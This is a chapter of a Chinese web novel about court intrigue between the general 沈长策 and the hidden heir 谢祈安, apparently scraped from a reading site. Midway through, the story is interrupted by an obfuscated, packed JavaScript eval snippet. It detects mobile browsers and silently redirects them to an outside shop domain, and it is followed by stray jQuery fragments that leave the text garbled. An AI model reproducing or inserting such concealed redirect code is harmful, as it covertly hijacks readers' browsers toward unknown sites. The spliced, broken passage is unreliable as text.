屋内静得出奇，纵是燃着新碳也抵御不住二位爷周遭的寒气。两头倔驴就这么四目相对，互相犟着，谁也不松口。
“沈将军怀念大理寺的日子不妨直说。”谢祈安神色淡淡，故作慷慨道：“在下绝非吝啬之人，何必舞刀弄剑伤了和气？”
“和气？殿下倒是会给自己脸上贴金。”
沈长策拿她没辙，眼下谢祈安咬死杜撰的过去不松口，绝口不提回宫立储一事，他今日这遭算是白走了。
入京来，谢祈安身上疑点重重，为什么朝中是个人都惦记着她那条小命呢？
既是荣宠加身的嫡长子，为何要送出宫去给一个外人抚养？对外却说儿子死了。况且，那潇湘阁也算不得什么好去处，叶蓁在其中又扮演着什么角色？
斯人已逝，而今承德帝为何非要不择手段将人接回来？谢祈安既不愿坐这储君之位，为何圣诏又遣他来此相护？
桩桩件件，皆是不得解。
不过，有一点他敢肯定，谢祈安绝对没有看上去这般人畜无害。
他欺身压着谢祈安，拇指指腹来回摩挲着刀口缘，似是要将那道口子撕烂，疼得谢祈安眉心直颤。
刚过了几天安生日子，又碰上疯子，怎么倒霉事儿偏都往她身上砸？
谢祈安耐住性子，淡道：“将军想要择明主而事，选错人了。”
沈长策没吭声，不知在思量些什么。
所求无果，谢祈安以为他深受打击，好言相劝道：“在下心无远志，将军还是别白费功夫的好。你我不过是他人手中子，落子何处皆没得选。”
沈长策哪能听得进去这好言相劝的善意，睨了她一眼，轻嘲道：“安分守己便能活命？”
谢祈安反问：“如何不能？”
沈长策起身，扯过她的小臂将人推至窗前，撑开后窗，“殿下居所，地段甚好。得了空，不妨垂首仔细瞧瞧下边儿的十里长街，多少双眼睛盯着这处地界？届时人为刀俎，我为鱼肉，安分守己？改日太子身份昭然，殿下觉得，你还能在这乱世里寻求庇护，苟延残喘吗？叶阁主这般谋算，怎就教养出了你这么个窝囊废？”
“将军不是窝囊废，吃了败仗又跑什么？”
谢祈安冷色按着伤口，权当看不见。她探臂拔出矮桌上立着的匕首，手起刀落，扯了衣衫，慢条斯理地在伤口上缠了个活结。
“将军要如何？”
“江山万里，君与我共享之，岂不快哉？”沈长策吊儿郎当地笑着，目光犀利，“殿下意下如何？”
谢祈安依旧扯着笑装傻，“这屋里唯有你我二人，何来殿下一说？”
没有把握的买卖，她谢祈安从来不做，何况对面那人恨不能一口咬死她，将后背交给沈长策这种人，哪日被阴死都死不明白。只是，尚有一事谢祈安不解，她还未应下回宫圣昭，沈长策从哪儿来的消息？
来不及细想，趁沈长策手上卸力，她挑衅一笑，垂首含净指骨上的血，偏头一口吐在了沈长策的长衫上，一把将人推开了半步远。
“横竖莫过一死，何惧之有？”谢祈安眉峰微挑，“莫非——将军舍不得我？”
沈长策恨得牙痒痒，咬牙道：“哪儿能啊！春和公子如今是这燕京城里的红人，一曲千金，一面难逢，臣自是无、福、消、受。”
“无福消受，你酸什么？”谢祈安说着偏头看向珠帘后那张金丝楠木榻，又道：“一般人可上不起里头那张榻。”
谢祈安含笑望着他，神色乖顺，眼波淡淡叫人探不见底。
“在下可没有同男人调情的癖好，望殿下自重。”
沈长策身侧的手紧了紧，谢祈安这人说话滴水不漏，变着花样跟他打马虎眼儿，他又何必逞口舌之快。
博弈之道，谁急谁就输了。
“景明！你爹……”
正转身欲走，没成想，钱行提着只金丝鸟笼从外头闯了进来，文容紧跟其后端来了汤药。
他两倒是默契，挺会挑时候。
屋内暧昧不明的气氛唬得二人不约而同噤了声……
瞧着里头两位爷，剑拔弩张，一副恨不能杀了对方的模样。他二人杵门口，可谓是进退两难。
谢祈安笑着俯身逗了逗笼子里扑翅的隼，眉眼弯弯，“瞧瞧，池鱼笼鸟，扑棱死了也翻不出这巴掌大的天。倒不如省省力气，多苟活两年来得划算。”
道不相谋，多说无益。
“在下只知苟延残喘，诚为懦夫！”
沈长策扔下这句，执剑夺门而出。
钱行忙提着笼子追了出去，“诶！景明！你慢点儿，等等我！”
眼瞧着两人走远了，文容附耳道：“少主，那玉珏……”
谢祈安望着两人的背影沉声道：“如你所想，此事务必烂肚子里，莫要声张。”
“那阁主那边？”
“钱二公子领人来听曲儿散财，银子只管从钱家账上划。派人再仔细查查咱们那位败北回朝的大将军。”谢祈安倚在矮榻上，白皙的指节翻弄着手中书页，突又道：“立储一事，探探是谁走漏了风声，我潇湘阁养不起长舌妇。”
“是。”
文容领命退了出去，一路往阁中顶楼去了。
-
钱行一人提着鸟笼子跑得上气不接下气，手酸得直发颤，“诶哟！我的祖宗，别乱扑腾了，自己几斤几两没点数吗？”
这话一出，笼子里头那位畜生爷倒扑腾得更欢了。
眼见着人跟丢了，钱行索性将鸟笼丢在脚边，一屁股坐在了路边的石阶上。
“哟，这会儿怎么不穷讲究？”
头顶传来凉飕飕的嘲讽声，钱行不用看也知道是谁，垂着脑袋继续在地上画王八。
沈长策挨着他坐下，一把揽过鸟笼，看着里头那只被打断了手脚筋的隼笑出了声。
钱行扯了扯嘴角，道：“别笑了，怪瘆人的。”他将手中石子一扔，叹道：“屁大点儿时神，你那后爹倒是忙活得快！”
宋崇羽如今在朝堂上一手遮天，这回拿畜生开刀，不过是给他提个醒，下次可就没这么简单了。
沈长策反问：“提点我这档子事儿，他什么时候慢过？”
钱行看着笼子嘟囔道：“小东西怪可怜的。”
沈长策看着闹腾的隼，咋舌道：“对了，今儿谢祈安身边那掌柜的身手不凡，你与他相交，且留个心眼儿。”
“你兄弟我又是什么好人？”钱行不以为意，“我与他清清白白，不过是喝盏酒的交情。这燕京城里，属他文容的消息最灵通，可不得好好供着。”
他被沈长策盯得有些发怵，索性将头偏至一边，兴致恹恹。
沈长策又道：“那人的本事，恐在你我之上，未过招，我探不清虚实。”
钱行闻言身形一顿，未来得及撤回去的笑意也跟着僵在那张端正俊朗的脸上。
“我知晓。”他说。
文容为人处事向来雅正端方，温和知趣，举手投足间叫人挑不出半点错处。旁人问起身世，他只道自己从前是介文弱书生，家道中落，幸得叶蓁相救，这才来了阁中当差，不过为谋条生路。
钱行不是没查过他的底，只是世间之事真真假假，假假真真，说不清，道不明。左右那是他的人生，既未谋财害命，随他说去。
日子嘛，装聋作哑才能过得舒坦不是。
言尽于此，晓他心中自有计较，沈长策便未再相劝。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919154|213408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>只是，眼前这位自小玩到大的兄弟，如今他竟有些看不清了。事已至此，各人有各人的缘法际遇，他心中无愧便成。
“走了！”沈长策抬步要走，他这屁股后面一堆事儿追着跑呢，“对了，再帮我查查谢祈安的底，特别是他们入京前的事儿，还有那个潇湘阁到底什么来头？”
这潇湘阁此前闻所未闻，见所未见。今岁暮春，一夜间惊现于燕荣街中心路段。不过是间风月琴馆，此般招摇晃眼，既得以稳立乱世而不倒，亦无人加以制衡，其间必存猫腻。
他们仁慈恤民的圣上，可做不来此番善举。
“这就走了？”
沈长策交代完，也顾不上听钱行说了什么，拎起笼子就走。
-
入秋的一场大雨，谢了红花，凋了麦穗，误了一年的好收成。燕京城内却摸不着半点秋月萧条之兆，市井长街，朱楼碧瓦，满街富贵奢靡花了人眼，乱了人心。
国公府地处长青街中心路段，其街市之繁华喧嚷较之燕荣大街更甚。
前些年宋崇羽犹信风水之说，砸钱硬造了座假山，府院临“山”傍水，门前立着一公一母两头大石狮子。正门紧闭，只东西两处角门有下人出入走动。
沈长策院里的管事妈妈守在西边角门口，探头道：“诶呦！我的祖宗，您可算回来了！”
“急甚么？”
沈长策露齿一笑，拍了拍她的肩。
盛妈妈是沈府的旧人，那年大雪覆道，沈夫人放心不下叫她跟着照看沈长策，方躲过了一劫。
“国公爷在里头发火呢，快些进去罢。”盛妈妈说着忙赶他进府，“爷进去说话也软些，犯不着争一时口头之快。”
沈长策宽慰了两句，转身往东边角门去了。
谁料前脚刚进角门，里边就遣来了人迎，领他过了垂花门，顺着门内两侧的抄手游廊进了正厅。
雕栏玉砌旧颜新，廊画叠了新彩，府上的花窗皆换上了燕京眼下时新的样式。原先清幽雅致的院子，而今扩了不下一倍，真可谓是雕梁画栋，挥霍无度。
沈长策问那小厮，“府中翻新了？”
小厮谄媚笑道：“将军有所不知，前些日子长房里的嫡小姐刚封了贵妃，这些个物什田地都是圣上赏下来的。”
“赏你的！”
沈长策出手一向慷慨，这些年，府里倒也没什么刁仆给他使绊子。
那小厮接过碎银，谄媚笑应：“谢将军恩赏！”他四下看了看，悄声道：“老爷今日不知生的哪门子邪火，枭二爷在里头跪着呢！将军说话千万仔细着些。”
刚出回廊，便有人出来拦了二人去路。
“将军，得罪了。”
院内近卫知会了声，忙凑近搜身，将他腰间长剑缴了去。
高远正搁墙角杵着唠闲，瞧见来人，走近嘲讽道：“哟！咱小少爷还知道回来呢！”
沈长策正一肚子火没处泄，这不，巧了，有人闲得发慌，自个儿贴脸讨骂。
他森然一笑，凑近附耳道：“主子的事儿什么时候轮到狗奴才讨交代？苏州府库的账老子还没跟你算，把自个儿的屁股擦干净了再出来丢人显眼！“
“哼。”高远吃瘪，他贪的那几笔哪一笔拿出来都够自个儿脑袋搬家，老爷睁一只眼闭一只眼，他又何必饶人，“奴才治不了您，自有人能收拾，少爷——请吧！”
瞧着匾上“清正廉明”四个大字，沈长策笑意发冷，阔步进了正厅。进门瞥见枭二身上的伤，他攥紧拳头，蔫儿巴巴唤了声“父亲”，老实跪在了枭二身侧。
宋崇羽颤声怒斥：“你个竖子！”说罢手中茶盏结结实实砸在沈长策肩上，碎了满地残渣，“你还知道回来？”